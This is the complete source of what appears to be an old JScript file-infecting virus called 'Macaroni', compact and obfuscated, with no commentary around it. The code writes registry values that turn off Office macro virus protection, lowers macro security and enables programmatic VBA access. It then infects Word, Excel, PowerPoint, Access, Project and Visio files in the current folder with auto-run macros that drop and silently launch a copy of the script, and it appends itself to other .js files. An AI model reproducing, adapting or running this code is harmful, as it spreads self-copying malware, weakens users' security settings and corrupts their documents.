/*Macaroni - roy g biv 05/02/05*/a=new Array("doc","xls","ppt","mdb","mpp","vsd","js");b=new Array("Word","Excel","PowerPoint","Access","Project","Visio");c=new Array("Document","WorkBook","p","d",b[4],0,"Macaroni");y="byval z as ";d=new Array(e="",e,e,e,y+b[4],y+"iv"+(c[5]=c[0]));e=new ActiveXObject("scripting.filesystemobject");f=e.opentextfile(WScript.scriptfullname).readall();f=f.substr(f.search(g=/\/\*Mac/));f=f.substr(0,f.lastIndexOf("//")+2);with(Math){random(1);h=round(random()*7)}i="This"+c[h];j="\"";k=j+"m.js"+j;l=/"/g;m="\r\n";n=m+"open "+k+" for output as #1: a = chr(34): b = vbcrlf: c = "+j+f.replace(l,j+" + a + "+j)+j+m;o=0;do{p=1017;q=n.substr(o,p);r=0;s=0;t=0;do{++r;s=q.substr(t).search(l)+1;t+=s}while(s>0);r&=1;s="";if(!r)s=j;else q=q.substr(0,p=Math.max(q.lastIndexOf(j),q.lastIndexOf(" "))+1);n=n.substr(0,o)+q+s+"+ _"+m+s+n.substr(o+p);o+=p-r+6}while(p);l=n.substr(0,n.length-12)+m+"print #1,c:close #1:createobject("+j+"wscript.shell"+j+").run"+k+",0"+m;if(h==2)l+="activepresentation.slideshowwindow.view.next"+m;n=new ActiveXObject("wscript.shell");p=(o="HKCU\\software\\microsoft\\")+"office\\8.0\\";n.regwrite(p+"Word\\Options\\EnableMacroVirusProtection",0,q="REG_SZ");n.regwrite(p+"MS Project\\Options\\General\\Macro Virus Protection","No",q);n.regwrite(p+"Excel\\Microsoft Excel\\Options6",0,q="REG_DWORD");n.regwrite(p+"PowerPoint\\Options\\MacroVirusProtection",0,q);p=b[h];if(h==4)p="MS "+p;if(h!=6)for(r=9;r<13;r++){s=o;if(h!=5)s+="Office\\"+r.toString()+".0\\";s+=p+"\\Security\\";n.regwrite(s+"Level",1,q);n.regwrite(s+"AccessVBOM",1,q)}for(n=new Enumerator(e.getfolder(".").files);!n.atEnd();n.moveNext())if(e.getextensionname(o=e.getabsolutepathname(n.item())).toLowerCase()==a[h])try{q=e.opentextfile(o,8);r="function ";if(h==6){if(e.opentextfile(o).readall().search(g)<0)q.write(m+c[6]+"();"+r+c[6]+"(){"+f+m+"}")}else try{q.close();if(h==5)q=new ActiveXObject(p+".invisibleapp");else{if(h==4)p="MS"+b[h];q=new ActiveXObject(p+".application")}q.visible=h==2;try{q.application.automationsecurity=1}catch(z){}s=q.documents;if(!s)s=q.workbooks;if(!s)s=q.presentations;try{if(h==3)q.opencurrentdatabase(o);else if(h==4){q.fileopen(o);s=q.activeproject}else s=s.open(o);try{o=q.vbe.activevbproject.vbcomponents(i).codemodule}catch(z){try{o=s.vbproject.vbcomponents(i).codemodule}catch(z){}}t="_open";if(h==5)t="_"+c[0]+"opened";t=c[h]+t;try{o=o.proccountlines(t,0)}catch(z){if(h==2)s.vbproject.vbcomponents.add(1).name=i;if(h==3)with(q.vbe.activevbproject){vbcomponents.add(1).name=i;o=vbcomponents(i).codemodule}else o=s.vbproject.vbcomponents(i).codemodule;s="private ";if(h==2||h==3)s="";if(h!=3)r="sub ";o.addfromstring(s+r+t+"("+d[h]+")"+l+"end "+r);if(h==2){with(q.activepresentation){with(slidemaster)o=shapes.addshape(1,0,0,width,height);o.fill.transparency=1;with(o.actionsettings(1)){action=8;run=t}save();close()}}else if(h==3){q.docmd.openform(q.currentproject.allforms(0).name,1);q.forms(0).onopen="="+t+"()";q.docmd.save(5,i)}try{q.activedocument.save()}catch(z){try{q.activeworkbook.save()}catch(z){try{q.filesave();q.fileclose()}catch(z){}}}}}catch(z){}if(h!=2&&h!=4)q.quit()}catch(z){}}catch(z){}//